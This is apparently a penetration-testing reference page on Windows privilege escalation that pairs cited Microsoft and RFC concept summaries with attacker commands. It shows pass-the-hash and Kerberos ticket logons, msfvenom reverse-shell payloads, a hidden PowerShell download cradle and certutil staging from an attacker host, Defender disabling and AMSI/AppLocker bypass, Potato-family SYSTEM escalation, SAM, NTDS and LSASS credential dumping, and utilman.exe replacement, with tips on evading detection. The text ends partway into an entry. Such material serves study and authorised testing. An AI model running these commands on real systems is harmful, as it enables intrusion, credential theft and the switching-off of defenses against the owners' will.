Windows Privilege Escalation

start Get a Foothold

Distinguish connectivity, sign-in, and remote-session access.

A reachable Windows computer, an authenticated account, and permission to use a remote session are separate concepts. Authentication verifies identity; authorization determines permitted resources and actions. Remote Desktop Services, for example, delivers desktops or individual applications to authorized users. Network reachability alone does not establish a usable session or administrative authority.

Reviewed claims

• Authentication and authorization concern identity and permitted access respectively.

  Microsoft, Windows Authentication Concepts — Authentication and authorization: A travel analogy

  Microsoft, Windows Authentication Concepts

• Remote Desktop Services provides authorized users with access to desktops or individual RemoteApp applications.

  Microsoft, Remote Desktop Services overview — What is Remote Desktop Services?

  Microsoft, Remote Desktop Services overview

References

• Microsoft, Windows Authentication Concepts · primary source
• Microsoft, Remote Desktop Services overview · primary source
• HackTricks, Windows Local Privilege Escalation · community source

category Credentialed Logon

Understand authentication and the Windows security context.

Authentication verifies an identity; authorization determines which resources and actions that identity may access. Windows represents a process or thread's security context with an access token containing account identity and privileges. These concepts explain why an authenticated identity and administrative authority are separate questions.

Reviewed claims

• Authentication verifies identity, while authorization governs permitted access.

  Microsoft, Windows Authentication Concepts — Authentication and authorization: A travel analogy

  Microsoft, Windows Authentication Concepts

• An access token describes a process or thread's security context, including account identity and privileges.

  Microsoft, Access Tokens — Introduction

  Microsoft, Access Tokens

References

• MITRE ATT&CK · T1021 · taxonomy source
• Microsoft, Windows Authentication Concepts · primary source
• Microsoft, Access Tokens · primary source

Password / Key Logon

Distinguish password authentication from SSH public-key authentication.

A password is a secret value supplied during password authentication. SSH public-key authentication instead verifies a digital signature produced with the user's private key. These are different authentication methods. The authentication result identifies the account; access to particular resources and operations is an authorization decision.

Applicability: Applicability has not been documented for this entry.

Reviewed claims

• A password is a secret value used as a knowledge-based authentication factor.

  NIST SP 800-63B-4, Authenticators — 3.1.1 Passwords

  NIST SP 800-63B-4, Authenticators

• SSH public-key authentication verifies a signature produced with the user's private key.

  RFC 4252, SSH Authentication Protocol — 7. Public Key Authentication Method

  RFC 4252, SSH Authentication Protocol

• Successful authentication does not by itself guarantee authorization to use a resource.

  Microsoft, Windows Authentication Concepts — Authentication and authorization: A travel analogy

  Microsoft, Windows Authentication Concepts

Requires

• A valid account password or key
• A remote-access service the account may use (WinRM/RDP/SMB/SSH)

Example commands

# WinRM PowerShell shell
evil-winrm -i <host> -u <user> -p '<pass>'

# SMB service exec (nxc)
nxc smb <host> -u <user> -p '<pass>' -x 'whoami'

# RDP session
xfreerdp /u:<user> /p:'<pass>' /v:<host> /cert:ignore

# SSH (OpenSSH on Windows)
ssh <user>@<host>

Tools

• evil-winrm
• NetExec

References

• NIST SP 800-63B-4, Authenticators · primary source
• RFC 4252, SSH Authentication Protocol · primary source
• Microsoft, Windows Authentication Concepts · primary source
• MITRE ATT&CK, Remote Services (T1021) · taxonomy source
• HackTricks, Lateral Movement · community source

OPSEC / detection: Each logon writes a 4624 event (logon type 3 for SMB/WinRM, 10 for RDP); evil-winrm and service execution are signatured. Prefer the protocol the account already uses.

Pass-the-Hash (NTLM)

NT hash into NTLM auth over SMB/PsExec or WinRM.

When you hold an account's NT hash but not its cleartext, authenticate with the hash directly over NTLM rather than cracking it. SMB service execution (psexec/smbexec) needs local admin on the target; WinRM needs Remote Management Users. NTLM must be permitted (no Kerberos-only or Protected Users enforcement on the account).

Applicability: Applicability has not been documented for this entry.

Requires

• An account NT hash
• NTLM permitted, and local admin (SMB) or Remote Management Users (WinRM) on the target

Example commands

# SMB exec with the hash
nxc smb <host> -u <user> -H <NThash> -x 'whoami'

# PsExec SYSTEM shell
impacket-psexec -hashes :<NThash> <user>@<host>

# WinRM with the hash
evil-winrm -i <host> -u <user> -H <NThash>

Tools

• Impacket
• NetExec
• evil-winrm

References

• MITRE ATT&CK, Pass the Hash (T1550.002) · taxonomy source
• The Hacker Recipes, Pass the Hash · community source

OPSEC / detection: PtH triggers NTLM logons (4624 type 3) with the machine reporting NTLM where Kerberos is expected. Modern EDR flags psexec service creation (7045).

Kerberos Logon

Distinguish Kerberos tickets, credential caches, and service authorization.

Kerberos authenticates principals through a trusted ticket service. A ticket-granting ticket (TGT) is used with the ticket-granting service, while a service ticket concerns a particular service. A credential cache is a container: MIT's FILE cache format stores a sequence of credentials with ticket, key, principal, and time information. A cache file and an individual ticket are therefore different objects. Kerberos authentication and the application's authorization decision remain distinct.

Applicability: Applicability has not been documented for this entry.

Reviewed claims

• Kerberos distinguishes a ticket for an application service from a TGT used with the ticket-granting service.

  RFC 4120, Kerberos V5 — 1.1 The Kerberos Protocol

  RFC 4120, Kerberos V5

• MIT's FILE credential cache stores a sequence of credentials whose fields include principals, key data, timestamps, and a ticket.

  MIT Kerberos, Credential cache file format — Opening format description; Credential format

  MIT Kerberos, Credential cache file format

• Kerberos authentication alone does not authorize a client to use an application service.

  RFC 4120, Kerberos V5 — 1.4 Authorization

  RFC 4120, Kerberos V5

Requires

• A Kerberos TGT (ccache) or an AES/NT key
• Target reachable by its Kerberos FQDN/SPN; clock within 5 minutes of the KDC
• /etc/krb5.conf defining the realm (UPPERCASE) and its KDC, with KRB5CCNAME pointing at the ccache from the prior step; a missing or wrong krb5.conf is the most common silent failure

Example commands

# Request a TGT, then use it
getTGT.py <domain>/<user> -hashes :<NThash>
export KRB5CCNAME=<user>.ccache

# WinRM over Kerberos
evil-winrm -i <host.fqdn> -r <REALM>

# SMB with the ticket cache
nxc smb <host.fqdn> --use-kcache -x 'whoami'

# Fix clock skew (KRB_AP_ERR_SKEW)
sudo ntpdate -u <dc>   # or wrap the tool in faketime to avoid changing system time

# On-host TGT and inject (Rubeus)
Rubeus.exe asktgt /user:<user> /rc4:<NThash> /ptt

Tools

• Impacket
• Rubeus

References

• RFC 4120, Kerberos V5 · primary source
• MIT Kerberos, Credential cache file format · primary source
• MITRE ATT&CK, Pass the Ticket (T1550.003) · taxonomy source
• HackTricks, Pass the Ticket · community source
• Duckwall & Delpy, Abusing Microsoft Kerberos (Black Hat USA 2014) · research source

OPSEC / detection: Kerberos logons blend in better than NTLM, but ticket requests for an unusual host/SPN and clock-skew errors are visible to the KDC.

Code Execution

Turn a one-shot code-exec primitive into a stable interactive session.

From a fragile or one-shot primitive (web RCE, command injection, a delivered payload), get a reliable shell: generate a payload, stage it onto the host, trigger a callback to your listener, then stabilise the session. The AD map covers reusing the resulting access to move on.

Applicability: Applicability has not been documented for this entry.

Requires

• A code-execution primitive on the target
• An outbound path to your listener (or an inbound port you can reach)

Example commands

# Generate a payload
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=<you> LPORT=443 -f exe -o s.exe

# Catch the shell
ncat -lvnp 443     # or OpenBSD nc -lvn 443 (port positional); or msfconsole: use exploit/multi/handler

# PowerShell download cradle
powershell -nop -w hidden -c "IEX(New-Object Net.WebClient).DownloadString('http://<you>/a.ps1')"

# Stage tooling onto the host
certutil -urlcache -split -f http://<you>/t.exe %TEMP%\t.exe

Tools

• Metasploit (msfvenom)
• Ncat (Nmap)

References

• MITRE ATT&CK, Command and Scripting Interpreter (T1059) · taxonomy source
• HackTricks, Reverse Shells (Windows) · community source

OPSEC / detection: msfvenom stock payloads and certutil downloads are heavily signatured. Match the payload arch to the target and prefer a LOLBin or in-memory cradle over dropping an EXE on monitored hosts.

category Defense Evasion

Windows security controls and their different roles.

Windows includes security components even on devices without central management. Microsoft Defender Antivirus is built into Windows; its protection depends on its operating mode and configuration. AMSI connects participating applications, including PowerShell, to an antimalware provider. These components have different roles and coverage, so management status alone does not describe a device's defenses.

Reviewed claims

• Defender Antivirus is built into Windows; absence of central management does not imply absence of antivirus.

  Microsoft, Defender Antivirus in Windows — Introduction; Comparing active mode, passive mode, and disabled mode

  Microsoft, Defender Antivirus in Windows

• Defender Antivirus scanning and remediation differ between active, passive, and disabled modes.

  Microsoft, Defender Antivirus in Windows — Introduction; Comparing active mode, passive mode, and disabled mode

  Microsoft, Defender Antivirus in Windows

• AMSI is an application integration interface for antimalware scanning, including PowerShell integration.

  Microsoft, Antimalware Scan Interface — Purpose; Windows components that integrate with AMSI

  Microsoft, Antimalware Scan Interface

References

• MITRE ATT&CK · T1685 · taxonomy source
• Microsoft, Defender Antivirus in Windows · primary source
• Microsoft, Antimalware Scan Interface · primary source

AMSI / Defender Evasion

Run flagged tooling past AMSI and Defender.

Your script or payload is caught by AMSI (in-memory script scanning) or Defender (on-disk and behavioural). Running fileless only reduces on-disk artifact exposure; PowerShell/script and some dynamic content can still hit AMSI and Defender behavioural/cloud detections, so use AMSI-aware obfuscation or a same-process AMSI bypass where that is the actual blocker. Where you hold admin, add an exclusion or disable real-time protection. An AMSI patch is per-process, so it must run in the same process that executes the payload.

Applicability: Applicability has not been documented for this entry.

Requires

• Code execution in an AMSI-instrumented host (PowerShell/.NET), or write/exec where AV blocks the artifact
• For disabling protection or adding exclusions: local admin / SYSTEM
• Tamper Protection OFF: on modern default Windows (10/11 + Server) TP is on by default and SILENTLY blocks Set-MpPreference -DisableRealtimeMonitoring even for SYSTEM; the cmdlets return no error but no effect. Exclusion writes are blocked only where Defender exclusion tamper protection is actually enabled (typically Intune-only or ConfigMgr-only with the documented platform/settings requirements), so do not assume every managed host blocks local exclusions

Example commands

# Confirm AMSI is the blocker
'AmsiScanBuffer' ; 'Invoke-Mimikatz'   # a known-bad string trips AMSI if it is on

# Check Tamper Protection before relying on Set-MpPreference
(Get-MpComputerStatus).IsTamperProtected

# Add a Defender exclusion (admin; blocked by TP on managed hosts)
Add-MpPreference -ExclusionPath C:\Windows\Temp   # Add- appends; Set-MpPreference -ExclusionPath REPLACES the whole list

# Disable real-time protection (admin/SYSTEM; blocked by TP on default hosts)
Set-MpPreference -DisableRealtimeMonitoring $true

Tools

• amsi.fail
• Invoke-Obfuscation

References

• MITRE ATT&CK, Disable or Modify Tools (T1685) · taxonomy source
• HackTricks, Antivirus (AV) Bypass · community source

OPSEC / detection: Successful RTP disablement/config changes commonly emit 5001/5007 (and related 5004/5010/5012 depending on what changed); Tamper Protection-blocked attempts emit 5013, and exclusion changes usually show as 5007 when they actually apply. Defender tampering is a high-signal detection. AMSI patches are loud if the patch string itself is signatured; vary it.

AppLocker / CLM / WDAC Escape

Escape a locked-down shell or application-control policy to run code.

Execution is constrained by policy: PowerShell Constrained Language Mode (often a JEA endpoint), AppLocker, or WDAC. Run through an allowed LOLBIN (living-off-the-land binary: a trusted, signed Windows tool like MSBuild or InstallUtil, abused to run your code), fall back to the PowerShell v2 engine where it survives, or sign your payload with a recovered or forged code-signing certificate that a publisher allow-rule trusts. MSBuild and InstallUtil defeat default AppLocker and CLM but are neutered by a WDAC policy that carries the Microsoft recommended block rules; a WDAC escape generally needs a different vector (a signer/hash allow-list gap or a LOLBIN not yet on the block list).

Applicability: Applicability has not been documented for this entry.

Requires

• Execution inside a ConstrainedLanguage / AppLocker / WDAC context
• An allowed LOLBIN, the PSv2 engine, or a trusted code-signing certificate

Example commands

# Check the language mode
$ExecutionContext.SessionState.LanguageMode

# Drop to PowerShell v2 IF .NET 3.5/2.0 is present (legacy hosts / Server 2012 R2)
powershell -version 2 -ep bypass   # fails silently on default Win10/11 + Server 2016+: .NET 3.5 not installed

# Run code via the MSBuild LOLBIN
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe payload.csproj

Tools

• LOLBAS

References

• MITRE ATT&CK, Trusted Developer Utilities Proxy Execution: MSBuild (T1127.001) · taxonomy source
• LOLBAS Project · community source

OPSEC / detection: Script-block logging still records what you run even in Constrained Language Mode, and signed-binary proxy execution (MSBuild/InstallUtil) is a known EDR pattern. Code-signing abuse needs a cert the target already trusts.

start Local Foothold

Understand the account and token behind a Windows process.

A Windows process or thread has a security context represented by an access token. The token includes account identity, group information, and privileges. A service runs with the token of its configured service account. Having a command session therefore needs to be understood through that account context; service identities and interactive user accounts should not be treated as a single uniform permission set.

Reviewed claims

• Windows access tokens describe process or thread security context, including account identity, groups, and privileges.

  Microsoft, Access Tokens — Introduction

  Microsoft, Access Tokens

• A Windows service executes in the security context of its configured account and receives an access token for that account.

  Microsoft, Service User Accounts — Introduction

  Microsoft, Service User Accounts

Requires

• A low-privilege shell on the host

Example commands

# Check your own privileges/groups
whoami /priv & whoami /groups

# winPEAS (fast checks)
winpeasany.exe quiet fast

# PrivescCheck (PowerShell)
powershell -ep bypass -c ". .\PrivescCheck.ps1; Invoke-PrivescCheck"

Tools

• winPEAS
• Seatbelt
• PrivescCheck

References

• Microsoft, Access Tokens · primary source
• Microsoft, Service User Accounts · primary source
• HackTricks, Windows Local Privilege Escalation · community source

OPSEC / detection: winPEAS/Seatbelt are noisy on disk and signatured by EDR. Consider running in-memory or using the built-in whoami/accesschk checks on monitored hosts.

Privileged Users

Understand the privileges and group information in a Windows access token.

A Windows access token records account identity, group information, and privileges. Privileges authorize system operations; object access rights concern permissions on individual resources. A privilege can be present in a token without being enabled. These distinctions matter when describing an account: a group name and a privilege name represent different parts of the security context.

Applicability: Applicability has not been documented for this entry.

Reviewed claims

• An access token records account identity, group information, and privileges.

  Microsoft, Access tokens — Access token contents

  Microsoft, Access tokens

• Windows distinguishes privileges for system operations from access rights on securable objects.

  Microsoft, Privileges — Privilege/access-right distinction; access-token checks

  Microsoft, Privileges

• Privilege checks consider whether a required privilege is held and enabled.

  Microsoft, Privileges — Privilege/access-right distinction; access-token checks

  Microsoft, Privileges

References

• Microsoft, Access tokens · primary source
• Microsoft, Privileges · primary source
• HackTricks, Windows Local Privilege Escalation · community source
• HackTricks, Abusing Tokens · community source

category Token Privileges

System privileges carried by a Windows access token.

An access token describes a process or thread's security context. It includes account and group identifiers and assigned privileges. Privileges authorize system operations and differ from object access rights. Windows checks both possession and enabled state when an operation requires a privilege; assignments can differ between computers.

Reviewed claims

• Access tokens carry identity, group membership, and privilege information for a process or thread.

  Microsoft, Access tokens — Introduction; Access token contents

  Microsoft, Access tokens

• System privileges and object access rights are distinct authorization concepts.

  Microsoft, Privileges — Introduction: privileges versus access rights; privilege assignment and checks

  Microsoft, Privileges

• Privilege checks consider whether a privilege is held and enabled; assignments are local to each computer.

  Microsoft, Privileges — Introduction: privileges versus access rights; privilege assignment and checks

  Microsoft, Privileges

References

• MITRE ATT&CK · T1134 · taxonomy source
• Microsoft, Access tokens · primary source
• Microsoft, Privileges · primary source

category Local Group Membership

How group identities participate in Windows access checks.

Windows uses group security identifiers in an access token when evaluating an object's discretionary access control list (DACL). Group identifiers can be enabled, disabled, or deny-only. A group name alone does not describe the access a process receives: the token attributes, requested rights, and object permissions matter.

Reviewed claims

• DACL evaluation compares access-control entries with identities in the requesting security context.

  Microsoft, How AccessCheck Works — DACLs

  Microsoft, How AccessCheck Works

• Enabled, disabled, and deny-only group identifiers have different roles in access checks.

  Microsoft, SID Attributes in an Access Token — Attribute table: SE_GROUP_ENABLED and SE_GROUP_USE_FOR_DENY_ONLY

  Microsoft, SID Attributes in an Access Token

References

• Microsoft, How AccessCheck Works · primary source
• Microsoft, SID Attributes in an Access Token · primary source

SeImpersonate / SeAssignPrimaryToken

Hold an impersonation privilege, then pick a Potato variant by Windows build.

Service accounts (IIS, MSSQL, a relayed login) and many others hold SeImpersonatePrivilege or SeAssignPrimaryTokenPrivilege. The "Potato" family coerces a SYSTEM-level authentication or RPC call and impersonates the returned token to run code as NT AUTHORITY\SYSTEM. Every variant needs the same privilege; what changes is the coercion trick, which Microsoft has patched piecemeal. Confirm the privilege, then choose the variant that fits the target build and the services it is running.

Applicability: The privilege exists on every version; the working tool is build-specific. JuicyPotato up to Win10 1803 / Server 2016, RoguePotato for 1809 / Server 2019 and later, PrintSpoofer for 1809 / Server 2019 and later where the Print Spooler service is running (often disabled post-PrintNightmare, so lean on RoguePotato/GodPotato for Server 2022+), GodPotato across Windows 8 to 11 and Server 2012 to 2022.

Requires

• SeImpersonatePrivilege or SeAssignPrimaryTokenPrivilege

Example commands

# Confirm the privilege
whoami /priv

References

• MITRE ATT&CK · T1134.001 · taxonomy source
• itm4n, abusing impersonation privileges · research source
• jlajara, Potatoes (Windows privesc) · community source

OPSEC / detection: Potato binaries are heavily signatured by EDR/AV, and each variant has its own tell: RoguePotato produces outbound TCP/135 to a redirector; PrintSpoofer opens the local \pipe\spoolss named pipe (no 135 traffic); JuicyPotato/GodPotato do local DCOM activation.

JuicyPotato

Abuse a SYSTEM DCOM/BITS CLSID for a SYSTEM token (legacy, pre-1809).

The classic local-only Potato, a more flexible RottenPotatoNG that lets you pick any SYSTEM DCOM CLSID. Abuse a SYSTEM-owned DCOM server (BITS and others) by pointing its OXID resolution at a local listener, capture the SYSTEM NTLM authentication, and impersonate it. Needs a CLSID that runs as SYSTEM on the target build; the project ships a per-OS CLSID list. No network egress, so it is still the first pick on older hosts.

Applicability: Windows 7 through 10 1803 and Server 2008 through 2016. Broke on Windows 10 1809 / Server 2019, where the DCOM OXID resolver change removed the local trick.

Requires

• SeImpersonate or SeAssignPrimaryToken
• A DCOM CLSID that runs as SYSTEM on the target build

Example commands

# Run with a SYSTEM CLSID for the OS
JuicyPotato.exe -l 1337 -p c:\windows\system32\cmd.exe -a "/c whoami" -t * -c {CLSID}

Tools

• JuicyPotato
• CLSID lists

References

• MITRE ATT&CK · T1134.001 · taxonomy source
• ohpe (Pierini & Trotta), Juicy Potato (abusing the golden privileges) · primary source
• jlajara, Potatoes · community source

OPSEC / detection: A fake DCOM/OXID listener on a local port plus a burst of local NTLM is detectable, and the binary is widely signatured.

PrintSpoofer

Coerce the Print Spooler over a named pipe for a SYSTEM token.

itm4n's replacement for JuicyPotato on 1809 and later. Make the Print Spooler service connect to a named pipe you control, then impersonate the SYSTEM token that arrives. Entirely local with no network redirector, which makes it the simplest option when the Spooler is running.

Applicability: Windows 10/11 and Server 2016 to 2022 wherever the Print Spooler service runs. Fails when Spooler is disabled, which is common post-PrintNightmare hardening.

Requires

• SeImpersonatePrivilege (PrintSpoofer checks/enables only this; a SeAssignPrimaryToken-only host needs a different primitive)
• Print Spooler service running

Example commands

# SYSTEM shell via the Spooler pipe
PrintSpoofer.exe -i -c cmd.exe

Tools

• PrintSpoofer

References

• MITRE ATT&CK · T1134.001 · taxonomy source
• itm4n, PrintSpoofer · research source

OPSEC / detection: Named-pipe Spooler coercion and the binary are signatured; many hardened hosts disable the Spooler entirely.

RoguePotato

Redirect the DCOM OXID resolver to a remote listener (post-1809).

Revives the JuicyPotato approach on builds where the local OXID trick was patched. Point DCOM OXID resolution at a remote redirector on port 135, which forwards back to a local socket, capture the SYSTEM authentication, and impersonate it. The remote port-135 requirement is its main constraint.

Applicability: Windows 10 1809 and later, Server 2019 and later. Needs a machine you control reachable on port 135 to host the OXID redirector.

Requires

• SeImpersonate or SeAssignPrimaryToken
• A redirector reachable on port 135

Example commands

# On your redirector (forward 135 to the target)
socat tcp-listen:135,reuseaddr,fork tcp:<target>:9999

# On the target
RoguePotato.exe -r <redirector_ip> -e "cmd.exe" -l 9999

Tools

• RoguePotato

References

• MITRE ATT&CK · T1134.001 · taxonomy source
• decoder.cloud, No more JuicyPotato? Old story, welcome RoguePotato! · research source
• RoguePotato (antonioCoco) · primary source

OPSEC / detection: Outbound 135 to an external host is unusual on a workstation and stands out; the binary is signatured.

GodPotato

rpcss OXID flaw covering Windows 8 to 11 and Server 2012 to 2022.

A DCOM-based coercion that abuses how the rpcss service handles OXID resolution, working across nearly every supported build with no network redirector and no Print Spooler dependency. Ship the .NET-version-matched binary (NET2 / NET35 / NET4) for the target.

Applicability: Windows 8 through 11 and Server 2012 through 2022, per the project. Local-only, with no redirector or Spooler dependency, which makes it the current default.

Requires

• SeImpersonate or SeAssignPrimaryToken
• A matching .NET runtime on the host

Example commands

# SYSTEM command (match .NET to the host)
GodPotato-NET4.exe -cmd "cmd /c whoami"

Tools

• GodPotato

References

• MITRE ATT&CK · T1134.001 · taxonomy source
• GodPotato (BeichenDream) · primary source

OPSEC / detection: DCOM activation plus a local NTLM coercion; the binary is signatured, though the local-only footprint is quieter than RoguePotato.

SeBackup / SeRestore

Distinguish the Windows rights for backup and restoration.

SeBackupPrivilege and SeRestorePrivilege are separate Windows user rights. Microsoft associates the first with system backup and the second with restoring backed-up files and directories. Their administrative purposes should be distinguished when describing a security configuration.

Applicability: All supported Windows versions (privilege model).

Reviewed claims

• SeBackupPrivilege is the Windows user right associated with backing up the system.

  Microsoft — Back up files and directories (archived policy reference) — Reference

  Microsoft — Back up files and directories (archived policy reference)

• SeRestorePrivilege is the Windows user right associated with restoring backed-up files and directories.

  Microsoft — Restore files and directories (archived policy reference) — Reference

  Microsoft — Restore files and directories (archived policy reference)

Requires

• SeBackupPrivilege (and SeRestorePrivilege for write paths; robocopy /b on the DC path needs both, so with only SeBackup use Copy-FileSeBackupPrivilege (giuliano108) instead)

Example commands

# Copy SAM + SYSTEM hives
reg save HKLM\SAM C:\Temp\sam.hive
reg save HKLM\SYSTEM C:\Temp\system.hive

# Extract hashes offline
impacket-secretsdump -sam sam.hive -system system.hive LOCAL

# DC path: parse ntds.dit with the SYSTEM hive
impacket-secretsdump -ntds ntds.dit -system system.hive LOCAL

Tools

• diskshadow
• impacket-secretsdump

References

• MITRE ATT&CK · T1003.002 · taxonomy source
• Microsoft — Back up files and directories (archived policy reference) · primary source
• Microsoft — Restore files and directories (archived policy reference) · primary source
• HackTricks, Abusing Tokens · community source
• MITRE T1003.003, NTDS (the DC / ntds.dit path) · taxonomy source

OPSEC / detection: reg save / diskshadow scripts / VSS snapshot creation are detectable. The privilege may need explicit enabling in the token first.

SeDebug

Understand debugging privileges and process security context.

SeDebugPrivilege corresponds to the Windows Debug programs user right. Microsoft describes it as relevant to debugging system components. A process's access token records its user identity, groups and privileges as distinct information. A debugging privilege and an account identity therefore need separate descriptions.

Applicability: All supported Windows versions; on modern builds LSASS may be PPL-protected or Credential Guard-enabled, needing an extra bypass.

Reviewed claims

• Microsoft identifies Debug programs as the SeDebugPrivilege user right and describes its use when debugging system components.

  Microsoft — Debug programs (archived policy reference) — Reference

  Microsoft — Debug programs (archived policy reference)

• A Windows access token contains the user SID, group SIDs and a list of privileges.

  Microsoft — Access Tokens — Access token contents

  Microsoft — Access Tokens

Requires

• SeDebugPrivilege (effectively admin/SYSTEM-equivalent)

Example commands

# comsvcs MiniDump (LOLBAS)
rundll32.exe C:\Windows\System32\comsvcs.dll, MiniDump <lsass_pid> C:\Temp\lsass.dmp full

# Parse offline with mimikatz
sekurlsa::minidump C:\Temp\lsass.dmp
sekurlsa::logonpasswords

Tools

• mimikatz
• ProcDump (Sysinternals)

References

• MITRE ATT&CK · T1134.001 · taxonomy source
• Microsoft — Debug programs (archived policy reference) · primary source
• Microsoft — Access Tokens · primary source
• LOLBAS, comsvcs.dll · community source
• MITRE T1003.001, LSASS Memory (the dump path) · taxonomy source

OPSEC / detection: LSASS handle opens (esp. by rundll32/procdump) are top-tier EDR detections.

SeTakeOwnership

Understand object ownership and its security descriptor.

SeTakeOwnershipPrivilege corresponds to the Windows user right for taking ownership of securable objects. A security descriptor can record an object's owner together with discretionary and system access-control lists. The owner field and the access-control lists are distinct parts of that security information.

Applicability: All supported Windows versions (privilege model).

Reviewed claims

• The Take ownership of files or other objects user right corresponds to SeTakeOwnershipPrivilege.

  Microsoft — Take ownership of files or other objects (archived policy reference) — Reference

  Microsoft — Take ownership of files or other objects (archived policy reference)

• A Windows security descriptor can record owner and group SIDs, a discretionary access-control list and a system access-control list.

  Microsoft — Security Descriptors — Opening definition and security-information list

  Microsoft — Security Descriptors

Requires

• SeTakeOwnershipPrivilege
• Ability to reach the logon screen (for the utilman/sethc trigger)

Example commands

# Take ownership + grant write
takeown /f C:\Windows\System32\utilman.exe
icacls C:\Windows\System32\utilman.exe /grant "%USERNAME%":F

# Replace with cmd, trigger at lock screen
copy /y C:\Windows\System32\cmd.exe C:\Windows\System32\utilman.exe

Tools

• takeown (built-in)
• icacls (built-in)

References

• MITRE ATT&CK · T1546.008 · taxonomy source
• Microsoft — Take ownership of files or other objects (archived policy reference) · primary source
• Microsoft — Security Descriptors · primary source
• HackTricks, Abusing Tokens · community source

OPSEC / detection: Replacing utilman.exe / sethc.exe is a well-known IOC. Back up and restore the original to avoid breaking accessibility.

SeLoadDriver

Distinguish driver-loading permission from code-signing policy.

SeLoadDriverPrivilege is associated with dynamically loading and unloading device drivers. Windows separately documents digital-signature requirements for kernel-mode drivers. The user right and the signature requirements describe different parts of driver security; a privilege name alone is not a description of the complete driver policy.

Applicability: All versions if held. The Microsoft driver-blocklist is default-on only from Windows 11 22H2; elsewhere (stock Windows 10, Server 2022) it depends on HVCI/memory-integrity being enabled, and without it blocklisted drivers like Capcom.sys still load. Where active, HVCI and the blocklist block most vulnerable drivers.

Reviewed claims

• SeLoadDriverPrivilege corresponds to the user right for dynamically loading and unloading device drivers.

  Microsoft — Load and unload device drivers (archived policy reference) — Reference

  Microsoft — Load and unload device drivers (archived policy reference)

• Microsoft documents digital-signature requirements for kernel-mode drivers.

  Microsoft — Kernel-Mode Code Signing Requirements — Opening signing requirements and policy sections

  Microsoft — Kernel-Mode Code Signing Requirements

Requires

• SeLoadDriverPrivilege (held by e.g. Print Operators)

Example commands

# Register + load the driver
EoPLoadDriver.exe System\CurrentControlSet\MyService C:\Temp\Capcom.sys

# Exploit the loaded driver for kernel exec -> SYSTEM
ExploitCapcom.exe

Tools

• EoPLoadDriver
• ExploitCapcom

References

• MITRE ATT&CK · T1068 · taxonomy source
• Microsoft — Load and unload device drivers (archived policy reference) · primary source
• Microsoft — Kernel-Mode Code Signing Requirements · primary source
• Tarlogic, Abusing SeLoadDriverPrivilege for privilege escalation · research source
• Tarlogic, EoPLoadDriver (SeLoadDriverPrivilege abuse) · primary source

OPSEC / detection: Loading a known-vulnerable driver is heavily flagged; modern Windows + HVCI / driver blocklist may refuse the load.

SeManageVolume

Understand the user right for volume-maintenance tasks.

SeManageVolumePrivilege corresponds to Perform volume maintenance tasks. The Microsoft policy reference describes volume and disk management, including volume creation or removal and defragmentation. Windows privileges are local to a computer; the same domain account can have different privilege assignments on different computers.

Applicability: All supported Windows versions (privilege model).

Reviewed claims

• The SeManageVolumePrivilege policy reference covers volume and disk maintenance, including creating or removing volumes and defragmentation.

  Microsoft — Perform volume maintenance tasks (archived policy reference) — Reference

  Microsoft — Perform volume maintenance tasks (archived policy reference)

• Windows privileges apply to the local computer, and a domain account can have different privileges on different computers.

  Microsoft — Privileges — Local account database and access token scope

  Microsoft — Privileges

Requires

• SeManageVolumePrivilege
• A SYSTEM process that loads a writable/missing DLL to trigger

Example commands

# Grant write over C:\ (then DLL hijack)
SeManageVolumeExploit.exe

Tools

• SeManageVolumeExploit

References

• MITRE ATT&CK · T1574.001 · taxonomy source
• Microsoft — Perform volume maintenance tasks (archived policy reference) · primary source
• Microsoft — Privileges · primary source
• gtworek, PSBits FSCTL_SD_GLOBAL_CHANGE PoC · primary source

OPSEC / detection: Writing a DLL into System32 and forcing a SYSTEM load is detectable (image-load + file-create in System32). The exploit re-ACLs C:\ to grant the Users group (every local user) full control, a persistent, drive-wide DACL change that is a durable IOC and a security downgrade left behind; revert it afterward.

SeTrustedCredManAccess

Understand Credential Manager's trusted-caller privilege.

SeTrustedCredManAccessPrivilege is the user right named Access Credential Manager as a trusted caller. Microsoft's archived policy reference associates this setting with Credential Manager backup and restoration. That reference recommends leaving the policy at its default. These statements describe the documented purpose and recommendation, without asserting a current account assignment.

Applicability: All supported Windows versions if the privilege is held (Winlogon and LSASS by default; rarely delegated).

Reviewed claims

• The archived Microsoft policy reference associates SeTrustedCredManAccessPrivilege with Credential Manager backup and restoration.

  Microsoft — Access Credential Manager as a trusted caller (archived policy reference) — Reference

  Microsoft — Access Credential Manager as a trusted caller (archived policy reference)

• The archived Microsoft policy reference recommends leaving the trusted-caller policy at its default.

  Microsoft — Access Credential Manager as a trusted caller (archived policy reference) — Best practices

  Microsoft — Access Credential Manager as a trusted caller (archived policy reference)

Requires

• SeTrustedCredManAccessPrivilege in the token
• An elevated/local-admin context to borrow Winlogon's token (no unprivileged user holds this privilege directly)

Tools

• forkatz
• BackupCreds

References

• MITRE ATT&CK · T1555.004 · taxonomy source
• Microsoft — Access Credential Manager as a trusted caller (archived policy reference) · primary source
• Tyranid's Lair, Dumping Stored Credentials · research source

OPSEC / detection: Rarely granted outside Winlogon; CredBackupCredentials while impersonating Winlogon is an unusual, detectable call sequence.

SeCreateToken

Understand token creation as a Windows security operation.

SeCreateTokenPrivilege corresponds to the Create a token object user right. An access token describes the security context of a process or thread, including identity and privileges. The privilege associated with token creation and the security information represented by a token are separate concepts.

Applicability: All supported Windows versions when the privilege is held (very rarely granted to a non-SYSTEM account).

Reviewed claims

• SeCreateTokenPrivilege corresponds to the Create a token object user right.

  Microsoft — Create a token object (archived policy reference) — Reference and constant name

  Microsoft — Create a token object (archived policy reference)

• An access token describes the security context of a Windows process or thread.

  Microsoft — Access Tokens — Opening definition

  Microsoft — Access Tokens

Requires

• SeCreateTokenPrivilege in the token

Example commands

# Confirm the privilege
whoami /priv

# Forge an Administrators token, then impersonate it
:: build and run the SeCreateTokenPrivilegePoC from daem0nc0re/PrivFu

Tools

• daem0nc0re / PrivFu (token-privilege PoCs)
• Priv2Admin

References

• MITRE ATT&CK · T1134.003 · taxonomy source
• Microsoft — Create a token object (archived policy reference) · primary source
• Microsoft — Access Tokens · primary source
• Abusing Token Privileges for LPE (ExploitDB 42556) · database source
• Priv2Admin, SeCreateTokenPrivilege · community source

OPSEC / detection: A process other than LSASS calling NtCreateToken, then impersonating a token carrying an added Administrators SID, is anomalous and detectable.

SeTcb

Understand the right associated with trusted authentication services.

